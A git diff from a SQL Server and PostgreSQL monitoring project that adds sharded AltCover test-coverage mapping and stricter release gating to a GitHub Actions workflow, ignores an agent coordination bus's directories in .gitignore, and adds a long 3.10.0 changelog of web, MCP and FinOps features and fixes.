+      # class the map never saw would run as a "new class" on every pull request.
+      - name: Cut this shard's classes
+        shell: pwsh
+        run: |
+          $ErrorActionPreference = 'Stop'
+          $lines = @(& "$env:MAP_BIN\$env:MAP_EXE" -list classes/json)
+          if ($LASTEXITCODE -ne 0) { throw "class listing failed with exit code $LASTEXITCODE" }
+          $json = @($lines | Where-Object { $_ -match '^\s*\[' })
+          if ($json.Count -ne 1) { throw "expected one JSON array line from the class listing, got $($json.Count)" }
+          Set-Content -Path "$env:MAP_OUT\all-classes.json" -Value $json[0]
+          python .github/scripts/test-map.py cut --list "$env:MAP_OUT\all-classes.json" --shards ${{ matrix.shards }} --shard ${{ matrix.shard }} --out "$env:MAP_OUT\cut"
+          if ($LASTEXITCODE -ne 0) { throw "the cut failed ($LASTEXITCODE)" }
+
+      # Instrument IN PLACE: the tests locate the repository by walking up from their own directory. Product,
+      # test and Lite assemblies only; every NuGet dependency stays un-instrumented. --methodpoint keeps one
+      # visit record per method, which is all a file-level map needs (the probe measured it at 0.93x to 1.15x).
+      - name: Instrument the assemblies (AltCover, callContext on Fact and Theory)
+        shell: pwsh
+        run: |
+          $PSNativeCommandUseErrorActionPreference = $false
+          & "$env:RUNNER_TEMP\altcover-tool\altcover.exe" --inplace --inputDirectory $env:MAP_BIN --outputDirectory "$env:MAP_OUT\saved" `
+            --report "$env:MAP_OUT\coverage.xml" --reportFormat OpenCover `
+            --callContext "[Fact]" --callContext "[Theory]" --methodpoint `
+            --assemblyFilter "^(?!PerformanceMonitor|Darling|Lite)" 2>&1 | Tee-Object -FilePath "$env:MAP_OUT\altcover-instrument.log" | Select-Object -Last 15
+          if ($LASTEXITCODE -ne 0) { throw "altcover instrumentation failed ($LASTEXITCODE)" }
+
+      # One runner invocation per chunk. A failing test is a fact about the tests, not about the map: the
+      # step never fails on a test exit code, and each chunk's report is kept (a later chunk's report may
+      # already hold the earlier visits; the join takes the union). DARLING_TEST_PGRUNTIME lights up the
+      # classes gated on the bundled runtime; the store-upgrade fixtures (~680 MB of archives) are not built
+      # here, so those classes skip and get text patterns instead of coverage. The log-format and log-rotation
+      # clusters (the other DARLING_TEST_PG_* variables build.yml's darling-pg job sets) are not started here either,
+      # and this env block is NOT meant to grow to match: ci-select.py always selects every class whose source names
+      # such a variable (GATE_ENV_LITERAL), so the map needs no coverage edge for them. CiSelectMapSelectGuardTests pins
+      # this block to ci-select.py's MAP_SHARD_ENV.
+      - name: Run this shard's classes (instrumented, AltCover runner)
+        shell: pwsh
+        env:
+          DARLING_TEST_PG: ${{ matrix.suite == 'darling' && 'Host=127.0.0.1;Port=5541;Username=darling;Database=darling' || '' }}
+          DARLING_TEST_PGRUNTIME: ${{ matrix.suite == 'darling' && format('{0}\Darling\artifacts\pg-runtime', github.workspace) || '' }}
+        run: |
+          $PSNativeCommandUseErrorActionPreference = $false
+          $watch = [System.Diagnostics.Stopwatch]::StartNew()
+          $worst = 0
+          $chunks = @(Get-ChildItem "$env:MAP_OUT\cut" -Filter 'chunk-*.txt' | Sort-Object Name)
+          $number = 0
+          foreach ($chunk in $chunks) {
+              $number++
+              $classes = @(Get-Content $chunk.FullName | Where-Object { $_ })
+              $classArgs = foreach ($class in $classes) { '-class'; $class }
+              & "$env:RUNNER_TEMP\altcover-tool\altcover.exe" Runner --recorderDirectory $env:MAP_BIN --workingDirectory $env:MAP_BIN --executable "$env:MAP_BIN\$env:MAP_EXE" -- @classArgs -xml "$env:MAP_OUT\chunk-$number.xml" 2>&1 | Tee-Object -FilePath "$env:MAP_OUT\altcover-run-$number.log" | Select-Object -Last 8
+              $code = $LASTEXITCODE
+              if ($code -gt $worst) { $worst = $code }
+              Copy-Item "$env:MAP_OUT\coverage.xml" "$env:MAP_OUT\coverage-$number.xml"
+              Write-Host "chunk ${number}: $($classes.Count) classes, exit $code"
+          }
+          $watch.Stop()
+          Write-Host "instrumented run: $($chunks.Count) chunk(s) in $([math]::Round($watch.Elapsed.TotalSeconds, 1)) s, worst exit $worst"
+          "$worst" | Set-Content "$env:MAP_OUT\tests-exit.txt"
+          @{ run_seconds = [math]::Round($watch.Elapsed.TotalSeconds, 1); chunks = $chunks.Count; worst_exit = $worst } | ConvertTo-Json | Set-Content "$env:MAP_OUT\timing.json"
+          exit 0
+
+      # AltCover makes an instrumented async test wait on its own task, so a dynamic skip arrives wrapped in an
+      # AggregateException and xunit reports a failure (see altcover-probe.py). There is no plain run to
+      # compare with here, so the skip token alone puts the skip back.
+      - name: Put wrapped skips back
+        shell: pwsh
+        run: |
+          foreach ($xml in @(Get-ChildItem "$env:MAP_OUT" -Filter 'chunk-*.xml')) {
+            python .github/scripts/altcover-probe.py unwrap-skips --instr $xml.FullName | Select-Object -First 3
+          }
+          exit 0
+
+      - name: Write this shard's report
+        shell: pwsh
+        run: |
+          $ErrorActionPreference = 'Stop'
+          $exit = if (Test-Path "$env:MAP_OUT\tests-exit.txt") { [int](Get-Content "$env:MAP_OUT\tests-exit.txt" -TotalCount 1) } else { -1 }
+          $reports = @(Get-ChildItem "$env:MAP_OUT" -Filter 'coverage-*.xml' | ForEach-Object { '--report'; $_.FullName })
+          $xmls = @(Get-ChildItem "$env:MAP_OUT" -Filter 'chunk-*.xml' | ForEach-Object { '--xml'; $_.FullName })
+          if ($reports.Count -eq 0) { throw 'no coverage report was produced' }
+          python .github/scripts/test-map.py shard-report --suite ${{ matrix.suite }} --shard ${{ matrix.shard }} --root $env:GITHUB_WORKSPACE --listed "$env:MAP_OUT\cut\listed.txt" @reports @xmls --tests-exit $exit --out "$env:MAP_OUT\shard-${{ matrix.suite }}-${{ matrix.shard }}.json"
+          if ($LASTEXITCODE -ne 0) { throw "shard-report failed ($LASTEXITCODE)" }
+
+      - name: Stop PostgreSQL
+        if: always() && matrix.suite == 'darling'
+        shell: pwsh
+        run: |
+          $bin     = "$env:GITHUB_WORKSPACE\Darling\artifacts\pg-runtime\pgsql\bin"
+          $dataDir = "$env:RUNNER_TEMP\darling-pgdata"
+          if (Test-Path "$bin\pg_ctl.exe") { & "$bin\pg_ctl.exe" -D $dataDir -m fast -w stop }
+          exit 0
+
+      - name: Upload this shard's report
+        uses: actions/upload-artifact@v6
+        with:
+          name: test-map-shard-${{ matrix.suite }}-${{ matrix.shard }}
+          path: ${{ runner.temp }}/test-map/shard-${{ matrix.suite }}-${{ matrix.shard }}.json
+          retention-days: 3
+          if-no-files-found: error
+
+  # Joins the shards into the map. Linux: it only reads JSON and the checkout (git ls-files, the test
+  # sources). It refuses to write a map when a shard is missing, because a map without a shard's classes
+  # would run those classes as "new" on every pull request and hide what they cover.
+  test-map:
+    name: Test map (join the shards)
+    needs: test-map-shard
+    if: always() && needs.test-map-shard.result != 'skipped' && needs.test-map-shard.result != 'cancelled'
+    continue-on-error: true
+    runs-on: ubuntu-latest
+    timeout-minutes: 20
+    steps:
+      - uses: actions/checkout@v7
+        with:
+          ref: ${{ github.sha }}
+
+      - name: Download the shard reports
+        uses: actions/download-artifact@v6
+        with:
+          pattern: test-map-shard-*
+          path: shards
+
+      - name: Build test-map.json.gz
+        run: |
+          python .github/scripts/test-map.py build --root . --shards shards --sha "${{ github.sha }}" \
+            --expect darling=6 --expect lite=4 --out test-map.json.gz --summary test-map-summary.md
+          cat test-map-summary.md >> "$GITHUB_STEP_SUMMARY"
+
+      - name: Upload the map
+        uses: actions/upload-artifact@v6
+        with:
+          name: test-map
+          path: |
+            test-map.json.gz
+            test-map-summary.md
+          retention-days: 14
+          if-no-files-found: error
+
+  # #5627: the Darling install and upgrade scripts of this commit, run over installs that real releases
+  # made, on windows-2022 and windows-2025 (darling-upgrade-shapes.yml, the same workflow a pull request
+  # touching Darling/tools runs). Gated like the other jobs here. It is NOT in publish's needs: a hosted-image
+  # change must not stop a nightly from publishing, and the job's own red status is the signal. The called
+  # workflow runs at this run's commit (github.sha), like every checkout in this file (#5616).
+  darling-upgrade-shapes:
+    name: Darling upgrade shapes
+    needs: check
+    if: needs.check.outputs.has_changes == 'true' || inputs.from_schedule != true
+    uses: ./.github/workflows/darling-upgrade-shapes.yml
+
   # ── Linux artifact + container image (#1804) ─────────────────────────────────────────────────────
   # Runs in parallel with the windows build job — it shares only the check job's nightly stamp,
   # not any windows artifact. Publishes the linux-x64 service tar.gz with its own checksum file
@@ -577,7 +1414,7 @@ jobs:
     steps:
       - uses: actions/checkout@v7
         with:
-          ref: ${{ github.event_name == 'workflow_dispatch' && github.ref_name || 'dev' }}
+          ref: ${{ github.event_name == 'workflow_dispatch' && github.sha || 'dev' }}
 
       - name: Setup .NET 10.0
         uses: actions/setup-dotnet@v6
@@ -658,16 +1495,21 @@ jobs:
   # ── Publish (#4336 follow-up) ─────────────────────────────────────────────────────────────────
   # The one job that talks to the outside world: the GitHub release, the ghcr push, the signature,
   # the provenance attestation. It downloads exactly what build and linux built above — nothing
-  # here rebuilds or republishes — and it needs all three of build, linux and darling-pg to have
-  # SUCCEEDED, so a red Darling PostgreSQL run can no longer ship a release built on top of it. The
-  # workflow_dispatch `publish` input is a second, independent gate for a diagnostic re-run that
-  # wants the build and test coverage without touching the release.
+  # here rebuilds or republishes — and it needs build, linux, darling-pg and lite-tests to have
+  # SUCCEEDED, so a red Darling PostgreSQL or Lite run can no longer ship a release built on top of it
+  # (a matrix job's result is success only when every one of its legs succeeded). Two more gates:
+  # the run must be on dev (#5616: the test jobs check out the DISPATCHED ref, so a branch dispatch
+  # tests branch code, and only a dev run may publish), and the workflow_dispatch `publish` input is a
+  # second, independent gate for a diagnostic re-run that wants the build and test coverage without
+  # touching the release.
   publish:
-    needs: [build, linux, darling-pg]
+    needs: [build, linux, darling-pg, lite-tests]
     if: |
+      github.ref == 'refs/heads/dev' &&
       needs.build.result == 'success' &&
       needs.linux.result == 'success' &&
       needs.darling-pg.result == 'success' &&
+      needs.lite-tests.result == 'success' &&
       (github.event_name != 'workflow_dispatch' || format('{0}', inputs.publish) != 'false')
     # A scheduled re-dispatch and a manual dispatch both land the same tag (`nightly`); two
     # close dispatches otherwise race on this job's delete-then-create of the release, so only
@@ -690,7 +1532,7 @@ jobs:
     steps:
       - uses: actions/checkout@v7
         with:
-          ref: ${{ github.event_name == 'workflow_dispatch' && github.ref_name || 'dev' }}
+          ref: ${{ github.event_name == 'workflow_dispatch' && github.sha || 'dev' }}
 
       - name: Download windows release assets
         uses: actions/download-artifact@v6
diff --git a/.gitignore b/.gitignore
index b086b4ab79..fe33dada8d 100644
--- a/.gitignore
+++ b/.gitignore
@@ -84,3 +84,13 @@ darling.json
 # Deliberately untracked for now: whether pincheck in particular belongs in the repo is Erik's call, and it
 # should not join a PR by accident.
 Darling/tools/pg-harnesses/
+
+# The agent coordination bus lives in a SEPARATE, PRIVATE repository
+# (~/Documents/pm-issue-queue-inbox). Two of its files were committed here by
+# accident in #5167 and reached this PUBLIC repo. Nothing from the bus belongs
+# in this tree: lane reports, design notes, seat state and inbox/outbox messages
+# all stay there. A lane brief that names a bus path MUST use an absolute path -
+# a relative one resolves inside the code worktree, which is how this happened.
+design/
+inbox/
+outbox/
diff --git a/CHANGELOG.md b/CHANGELOG.md
index 899a55511d..9e6b025ada 100644
--- a/CHANGELOG.md
+++ b/CHANGELOG.md
@@ -21,6 +21,317 @@ Releases before 3.0.0 are not archived: those entries carry no prose to move.
 
 ## [Unreleased]
 
+## [3.10.0] - 2026-10-09
+
+Full entries: [docs/changelog/3.10.md](docs/changelog/3.10.md)
+
+### Important
+
+- **Upgrading from 3.9 runs the Darling store migrations V158 through V173 on the service's first start**
+- **On Windows, upgrading an install that ordinary users can write to stops once and prints steps to move it** ([#5627])
+
+### Added
+
+- **FinOps page shell in the web viewer** ([#4984])
+- **Version Store (PVS) tab on the web FinOps page** ([#4993])
+- **Database Sizes tab on the web FinOps page** ([#4994])
+- **FinOps Locking & Contention tab** ([#4996])
+- **FinOps Utilization tab on the web viewer** ([#4997])
+- **Lite's `get_active_queries`, `get_waiting_tasks`, `get_query_store_regressions` and `get_query_heatmap` now say where their data starts** ([#5004])
+- **FinOps high-impact queries over MCP and the web read route** ([#5009])
+- **High Impact tab on the web FinOps page** ([#5019])
+- **FinOps utilization over MCP and the web read route** ([#5023])
+- **A daily collector can run at a time you choose** ([#5018], [#5007])
+- **The tabs that show the newest snapshot now say when it was collected** ([#5032], [#5029], [#5038], [#5028], [#5047])
+- **FinOps database resources over MCP and the web read route** ([#5025])
+- **FinOps Server Inventory over MCP and the web read route** ([#5040])
+- **Database Resources tab on the web FinOps page** ([#5041], [#5064])
+- **Utilization tab on the web FinOps page** ([#5049])
+- **get_finops gains an application_connections view** ([#5044])
+- **The web viewer's FinOps page gains the Application Connections tab** ([#5055])
+- **get_finops view index_analysis** ([#5056])
+- **FinOps Server Inventory tab on the web viewer** ([#5058])
+- **get_finops gains an optimization view** ([#5057])
+- **The web viewer's FinOps page gains the Optimization tab** ([#5060])
+- **get_finops gains a storage_growth view** ([#5062])
+- **FinOps Index Analysis tab on the web viewer** ([#5066])
+- **The web viewer's FinOps page gains the Storage Growth tab** ([#5067])
+- **FinOps Recommendations over MCP and the web read route** ([#5074])
+- **FinOps Recommendations tab on the web** ([#5075])
+- **Mute Rules page in the web dashboard** ([#5087])
+- **The web dashboard has a read-only Admin page** ([#5089])
+- **Window pickers on the web FinOps Optimization and High Impact tabs, and the object-growth note** ([#5091])
+- **Drag-to-zoom on web server-tab and FinOps line charts** ([#5092])
+- **Version Store tab shows cleanup state and skipped pages** ([#5093])
+- **Click a column header to sort any web dashboard grid** ([#5090])
+- **Web server page: more columns on Query Store Regressions, Plan Corrections and Long Queries** ([#5099])
+- **The store log keeps slow-statement plans** ([#5112])
+- **Web Active Queries grid shows the desktop's columns** ([#5102])
+- **Memory pressure chart and statement-eviction tile on the web dashboard** ([#5107])
+- **Custom start and end on the web server page's Range picker** ([#5108])
+- **`get_job_history`: SQL Agent job runs over MCP** ([#5095])
+- **Web Configuration tab shows every Database Configuration column and the Scoped Configuration table** ([#5105])
+- **Recommendations tab on the web server page** ([#5120])
+- **Collection caveats on the web Collection Health tabs** ([#5123])
+- **Web Alert History: time range, row limit, server filter and Show dismissed** ([#5109])
+- **Web status bar shows seat, store size and collection state** ([#5116])
+- **Server tags can be created, edited, deleted and assigned through MCP** ([#5088])
+- **The managed PostgreSQL store logs the plans of its own slow statements** ([#5122])
+- **Web Wait Stats chart charts several waits at once** ([#5119])
+- **Copy and CSV export on web dashboard grids** ([#5110])
+- **Server trends over MCP: total waits, CPU scheduler pressure, memory clerks and plan cache** ([#5117])
+- **The web Database Sizes tab shows free space, growth, recovery model, VLFs and cost** ([#5121])
+- **The web dashboard can create, edit, delete and assign server tags for an admin sign-in** ([#5137])
+- **Per-process deadlock rows on the web Deadlocks tab** ([#5139])
+- **Auto-refresh interval and Refresh button on web server and FinOps pages** ([#5141])
+- **Manage server tags from the web dashboard** ([#5138])
+- **Column toggles on the wide System Events grids** ([#5152])
+- **Dismiss Selected and Dismiss All on the web Alert History page** ([#5151])
+- **Job History page in the web dashboard** ([#5150])
+- **Stored query plans on the web dashboard** ([#5156])
+- **Web Blocking tab shows the desktop's blocking columns and saves report and deadlock XML** ([#5164])
+- **Web Perfmon chart charts several counters at once** ([#5162])
+- **Web line charts have a menu** ([#5166])
+- **More server trends over MCP: latch, spinlock, session stats and collector duration** ([#5170])
+- **Web Top Queries shows the desktop grid's columns** ([#5169])
+- **CPU scheduler, memory clerk and plan cache trend charts on the web server page** ([#5161])
+- **Per-column filters on the web grids** ([#5183])
+- **Slow reads are recorded with their arguments, source and per-statement times** ([#5163])
+- **Web Top Procedures shows the desktop grid's columns** ([#5186])
+- **Web dashboard: favourites, acknowledgeable alert badges, severity colours and a collapsible sidebar** ([#5196])
+- **Tempdb and file I/O trends over MCP** ([#5187])
+- **Latch, spinlock and session stats trend charts on the web server page** ([#5189])
+- **The Darling store keeps an hourly history of its own `pg_stat_statements` deltas** ([#5203])
+- **Add monitored servers from the web dashboard's API** ([#5167])
+- **Silence This Server on the web fleet page** ([#5221])
+- **`get_store_query_history` reads the Darling store's own hourly statement history** ([#5217])
+- **A diagnostics bundle for bug reports** ([#5218])
+- **The web Collection Health tab opens a collector's run history** ([#5258])
+- **The web FinOps storage growth view covers 7, 30 or 90 days** ([#5264])
+- **Hide or isolate a series from any web chart legend** ([#5265])
+- **The web Alert History shows an alert's advice and fix script** ([#5269])
+- **PostgreSQL captured plans readable on the web** ([#5273])
+- **Deadlock graph in the Darling web** ([#5275])
+- **edit_server MCP tool** ([#5283])
+- **Plan buttons on the web Active Queries, Query Store and Top Procedures grids** ([#5260])
+- **The web Job History page says when SQL Agent is stopped** ([#5278])
+- **Web charts can jump to the queries, blocking or deadlocks at a point in time** ([#5286])
+- **MCP can serve HTTPS, and both listeners take a list of allowed ranges** ([#5295])
+- **The web Query Store grid can show a plan's history over time** ([#5300])
+- **The web's Top Queries and Top Procedures can rank by duration, reads or executions, and Top Queries no longer comes back short** ([#5299])
+- **The web viewer shows the queries that waited on a wait type** ([#5322])
+- **Edit a monitored server from the web API** ([#5301])
+- **The web's Blocking and Deadlocks grids open each row's stored plans** ([#5298])
+- **The web plan panel has a Repro script button, and MCP clients can fetch the same script** ([#5341])
+- **The web server page can filter to several databases** ([#5314])
+- **A repeated web query key reads as its first value** ([#5314])
+- **A blank database_name means all databases** ([#5314])
+- **The web Admin Servers grid can edit a configured server** ([#5356])
+- **The Darling viewer's Overview now has a search box for server name or tag** ([#5359])
+- **A SQL login password, the SMTP password, webhook URLs, the PagerDuty key and generic webhook headers can now be saved and used on Linux** ([#5387])
+- **The Darling service now says when it was not collecting before a start** ([#5454])
+- **PagerDuty can keep an outage and its recovery in one incident, and close it on recovery** ([#5368])
+- **The Darling service pings a dead-man's-switch URL while it is collecting, so an outside check alerts when it stops or stops collecting** ([#5460])
+- **The database filter reaches the configuration, config change, severe error and default trace reads** ([#5464])
+- **A daily audit of the store's retained history raises one "Collection Gaps In History" warning** ([#5461])
+- **Top Queries and Top Procedures can rank by reads from new hourly rollups** ([#5472])
+- **Each PostgreSQL server in Darling can use its own AWS role** ([#5468])
+- **Filter web grid columns by number, text operator or empty cell** ([#5255])
+- **Web sidebar search and tag grouping** ([#5259])
+- **Lite has a DuckDB memory limit setting** ([#5553])
+- **Column filters list a text column's values to tick, like Excel, and stay set across refreshes and restarts** ([#5577])
+- **One time range picker for Lite, the Darling Viewer and the Darling web pages** ([#5570])
+
+### Changed
+
+- **Darling web sends browser security headers, the actual-plan confirmation says where the query came from, and connection-test errors carry less detail, and a configured token gates the loopback endpoints** ([#5636])
+- **Microsoft.Data.SqlClient moves to 7.1.1** ([#4963])
+- **Fleet Custom Views Query Store panels read the store's chunk floors once** ([#5001])
+- **Web System Events grids show the desktop's columns** ([#5118])
+- **`get_read_latency` counts reads that fell back to raw** ([#5136])
+- **get_query_store_top answers long windows from a daily summary** ([#5168])
+- **Web Query Store Regressions, Long Query Completions and Plan Corrections grids put their wide columns behind column toggles** ([#5195])
+- **Web File I/O tab charts write latency, and the Version Store trend spans 7 days** ([#5198])
+- **The web PostgreSQL Overview and Vacuum tiles say where their data starts** ([#5193])
+- **The composed-panel table, the alert-rule test result and the Fleet Sweeps tables get the main grid's tools** ([#5188])
+- **query_stats fetches plan XML only for plans the store doesn't already hold** ([#5209])
+- **The web Manage Servers grid shows disabled servers, auth mode, monthly cost and added time** ([#5262])
+- **procedure_stats can skip re-rendering plans the store already holds (with a shadow mode)** ([#5272], [#5502])
+- **PostgreSQL servers list the collectors that are not collected on their engine** ([#5287])
+- **The diagnostics bundle's store statement history is now the ranked answer `get_store_query_history` gives** ([#5294])
+- **PostgreSQL database growth findings now say their bars are measured** ([#5327])
+- **The statement filter withholds more administrative statement forms** ([#5324])
+- **Darling's MCP tool answers go through the statement filter** ([#5342])
+- **Adding or editing a server from the web or MCP takes the password itself** ([#5364])
+- **Alert emails and webhooks run SQL Server statement text and reports through the statement filter** ([#5360])
+- **Plan reuse shadow mode no longer counts a memory grant change as a false hit, and splits false hits by cause** ([#5383])
+- **The statement filter judges a typed variable declaration with an initial literal** ([#5369])
+- **The database filter now reaches the blocking and waits reads** ([#5392])
+- **The store takes a server's password itself from the viewer, admin and MCP roles** ([#5374])
+- **Stored plans from the MCP plan tools go through the statement filter** ([#5362])
+- **Web pages apply the statement filter to SQL Server statement text and execution plans** ([#5362])
+- **The diagnostics bundle and the analysis drill-down plan warnings go through the statement filter** ([#5362])
+- **SQL Server statement text and execution plans go through the statement filter when they are collected** ([#5367])
+- **Analysis findings and alert history filter statement text as they are written** ([#5367])
+- **A plan the statement filter withholds is shown as withheld** ([#5367])
+- **Generic webhook headers are sent only to the generic URL or a path under it** ([#5387])
+- **The database filter now reaches the duration trends, Query Store clutter, long-query and plan-correction reads** ([#5414])
+- **The blocking charts now say which collector answered, and the desktop viewer's Blocking Severity follows the database filter** ([#5414])
+- **A whitespace-only `database_name` now means every database on the configuration reads** ([#5464])
+- **The database filter reaches the storage and file I/O reads** ([#5462])
+- **Lite keeps query stats and Query Store stats in one archive file per day** ([#5482])
+- **The plan regression check in Darling reads stored per-day totals for closed days** ([#5467])
+- **procedure_stats now fetches plans only for plans the collector has not stored** ([#5502])
+- **Recommendations skip databases that are a secondary copy on this node** ([#5564])
+- **The Query Store interval tables are partitioned by day** ([#5573])
+- **A long one-counter perfmon trend loads faster** ([#5579])
+- **The retention purge gives way to collection** ([#5595])
+
+### Fixed
+
+- **The web viewer's server page Range now stops at 7 days** ([#4946])
+- **Lite and Darling MCP tools now refuse `hours_back: 0.5`** ([#4945])
+- **In the Darling Viewer, the Recommendations and FinOps pickers keep their servers** ([#4947])
+- **On Azure SQL Database, the long-query trace runs only in monitored databases** ([#4944])
+- **The first daily summary after a start no longer waits on the rollup coverage probe** ([#4968])
+- **MCP tool calls whose arguments the server cannot read are refused with a message that names the argument** ([#4960])
+- **Darling's Query Store top read no longer walks every index entry a server holds** ([#4952], [#5021], [#4972])
+- **Active Queries, Current Waits and Custom Views panels say where their data starts, and the Queries tab stops showing it for a quiet start** ([#4953])
+- **Darling compresses new `collection_log` chunks by collector as well as by server** ([#4951])
+- **Faster "latest collector outcome" check on MCP reads** ([#4975])
+- **Lite and Darling stop dropping Extended Events sessions that another install reads** ([#4967])
+- **Custom Views panels that hit the 60 s limit say so** ([#4976])
+- **get_collection_health and the Darling Collection Health grid read the newest row per collector through index lookups, not four full-window sorts** ([#4983])
+- **Hourly store maintenance and self-metrics no longer stall collection** ([#4978])
+- **Darling's README now states one PostgreSQL minimum for the store, 16** ([#4988])
+- **Filtered Custom Views Query Store panels read less on the raw route** ([#4985])
+- **Lite's Plan Corrections grid, Query Heatmap and Memory Pressure Events chart say where their data starts, and the heatmap draws its empty days** ([#4991])
+- **Grids, charts and MCP replies in Lite, the Darling viewer and the web viewer say where their data starts when a range reaches back past it** ([#4966], [#5000], [#4998], [#4989], [#5015], [#5010], [#4990], [#5022], [#5031], [#5026], [#5030], [#5035], [#5086], [#5096], [#5111], [#5172])
+- **RDS log reads for several targets at once no longer fail or skip log lines** ([#5006])
+- **A once-a-day collector no longer stalls its server's 1-minute collectors** ([#4999])
+- **A custom view panel whose store connection times out while opening says so** ([#5016], [#5052])
+- **Query Store reads no longer scan the last day's raw rows to rule out legacy rows** ([#5021])
+- **The Darling viewer's Overview blocking and deadlock chart says where its data starts** ([#5024])
+- **The web dashboard's Availability Groups page shows every AG view again** ([#5045])
+- **A run-time edit that lands just as that daily collector starts no longer makes it run twice that day** ([#5051])
+- **The FinOps Index Analysis tab and get_finops index_analysis pick the same row every time when one index has two rows at the same collection time** ([#5059])
+- **Long-window Custom Views panels over query statistics no longer time out** ([#5076])
+- **The FinOps Optimization tab's most expensive queries no longer change which tied statements make the cut** ([#5078])
+- **Storage Growth counts a table created during the window as growing by its whole size** ([#5080], [#4902])
+- **The Storage Growth index drill shows when its snapshot was collected** ([#5079])
+- **Index Analysis lists only the indexes in each database's newest snapshot, and answers in under a second on large servers** ([#5083])
+- **Index Analysis says when each database's snapshot was collected** ([#5084])
+- **Plans captured from PostgreSQL 16 and later servers no longer keep bind parameter values** ([#5112])
+- **The stall probe no longer ranks idle background waits first** ([#5113])
+- **Lite's deadlock, blocked process report and long query MCP tools say where their data starts** ([#5127])
+- **The web server page's Memory Grant Pressure, Resource Semaphore Pressure, Plan Corrections and Query Store clutter panels now say where their data starts** ([#5144])
+- **get_read_latency stays within the MCP response budget** ([#5149])
+- **Lite's config change, collection log, plan correction and memory pressure MCP tools say where their data starts** ([#5147])
+- **Darling's active queries, waiting tasks, query heatmap and Query Store regressions say where their data starts** ([#5147])
+- **PostgreSQL plans are grouped by their shape** ([#5155])
+- **collection_log records the monitored server's session id again** ([#5154])
+- **PostgreSQL window aggregates, trend grids and Captured Plans on the web server page say where their data starts** ([#5165])
+- **Darling's config change, collection log, plan correction and memory pressure MCP tools say where their data starts** ([#5181])
+- **The blocking charts' "Showing since" note now follows the blocked process report collector when the chart draws its reports** ([#5159])
+- **Darling's blocking, deadlock and long query tools say where their data starts** ([#5171])
+- **Custom Views panels grouped by object no longer fail on large stores over a recent window** ([#5179])
+- **The blocking charts' "Showing since" note no longer hides a stretch when the blocked process threshold was off** ([#5199])
+- **Darling's system-health, default trace, wait, latch and spinlock MCP tools say where their data starts** ([#5191])
+- **Two test classes now run in the shared live-store collection** ([#5214])
+- **The web page's event grids say where their data starts** ([#5197])
+- **Darling's blocking stats and PostgreSQL deadlock and log event MCP tools say where their data starts** ([#5205])
+- **Fifteen Darling PostgreSQL MCP tools say where their data starts** ([#5201])
+- **Darling's PostgreSQL write stats and index usage MCP tools say where their data starts** ([#5201])
+- **The web page's System Events, Blocking, Deadlocks and PostgreSQL event panels say where their data starts** ([#5222])
+- **MCP quiet and all-clear messages no longer contradict a cut window** ([#5250])
+- **Query Store plans are found again** ([#5263])
+- **Adding a server no longer refuses an immediate second add** ([#5268])
+- **Collector stall probe no longer ranks an idle wait as the top wait** ([#5276])
+- **MCP PostgreSQL empty answers no longer call a cut window quiet** ([#5285])
+- **Long-window Custom Views panels over query statistics check the hourly rollup against a per-hour row count instead of scanning raw** ([#5290])
+- **Lite's Query Store history window no longer overcounts Total Executions** ([#5310])
+- **The web's Index Analysis list no longer stops at 50 rows** ([#5303])
+- **The plan viewer's Parameterized row shows the parameterized text of an ad hoc statement** ([#5326])
+- **The web Locking page filters by database, shades its wait columns and opens an index detail pane** ([#5372])
+- **get_object_locking answers `empty`, not `unavailable`, when the collector looked and found no contended index** ([#5372])
+- **Lite's archive watermark reads no longer pile up on one DuckDB engine** ([#5390])
+- **Lite no longer starts a second refresh on top of a slow tab-switch read, and no longer drops a tab or range change made during a refresh** ([#5380])
+- **Lite's post-collection CHECKPOINT no longer parks the app behind one slow read, and the hourly archive pass stops rebuilding the archive views when it moved nothing** ([#5385])
+- **A login that cannot create Extended Events sessions now shows PERMISSIONS for the long-query collector** ([#5386])
+- **Lite's archive compaction no longer rewrites a whole month of each table every hour, and says so when the disk is too full to merge** ([#5394])
+- **Lite's Top Queries grid reads far less memory as the query_stats archive grows, and the procedure comparison reads less but can still run out of memory** ([#5398])
+- **The Darling installer now refuses an install when the .NET Runtime 10 is missing** ([#5409])
+- **Statement text is judged whole before it is cut** ([#5361])
+- **A scripted `--encrypt-password` no longer writes to the error stream when it succeeds** ([#5417])
+- **Lite's Query Store comparison and regressions no longer run out of memory on wide windows at a 1 GB memory limit, and top queries gets further** ([#5396])
+- **Statements whose text was withheld are no longer acted on as if the marker were the statement** ([#5367])
+- **Lite writes archive files in small row groups, so a windowed read decodes much less query text** ([#5402], [#5410])
+- **Lite's Collection Health read is cheaper, can be cancelled, and says where its time goes** ([#5388])
+- **Lite's and the Darling viewer's duration and execution-count charts report the true rate for a database-filtered view** ([#5414])
+- **The Darling viewer's procedure comparison, its two comparison twins and the Query Store top reads look up statement text inside a time bound** ([#5427])
+- **get_pg_io_trend and get_file_io_trend no longer time out on a store with stale table statistics** ([#5442])
+- **The Darling service can now assume an AWS role from an `AWS_PROFILE` profile** ([#5446])
+- **Severe errors show the database name their id had at the time of the error** ([#5432])
+- **The Darling viewer's Top Queries and Top Procedures show blank, not 0, for columns the hourly rollups do not keep** ([#5443])
+- **The saved database filter narrows more screens** ([#5438])
+- **The retired-baseline sweep no longer leaves its connection dead when a drop loses a race with a refresh job** ([#5439])
+- **Lite merges query_snapshots archive files into one file per day** ([#5434])
+- **A convergence step that breaks the store connection no longer fails every step after it** ([#5453])
+- **Saved passwords keep working on the first start after the schema 165 upgrade** ([#5456])
+- **The one-time password pin step after the schema 165 upgrade is tightened** ([#5466])
+- **Darling checks an RDS or Aurora target's host against the endpoint AWS reports** ([#5465])
+- **PagerDuty auto-resolve now resolves a second outage that recovers inside the cooldown** ([#5470], [#5469])
+- **Procedure stats keep every procedure that did work, not just 150, and the procedure trends and counts read the same either way** ([#5463])
+- **An alert with a large blocked-process report no longer loses its details on a busy service** ([#5478])
+- **The launch guard releases itself and the collection alerts keep working in a hold** ([#5481])
+- **Alerts, MCP reads and web reads in the first seconds after a start keep their statement details** ([#5484])
+- **The Query Store backfill stops retrying databases dropped from the server** ([#5486])
+- **"Collection Stopped" alerts once per outage** ([#5490])
+- **Azure SQL Database sizes now cover every database, and the firewall error names the firewall first** ([#5500])
+- **Darling and Lite alert once per occurrence for lasting conditions** ([#5497])
+- **Lite's FinOps tab loads real data on the first visit, and its advice claims only what the data supports** ([#5488])
+- **A managed store near a free-disk step no longer reads "stale after a hardware change"** ([#5511])
+- **The spinlock and PostgreSQL I/O reads no longer go through every stored row of a long window** ([#5501])
+- **Offline servers read as stale, Collection Stopped counts from the last collection, and the web pages and FinOps read in plain words** ([#5492])
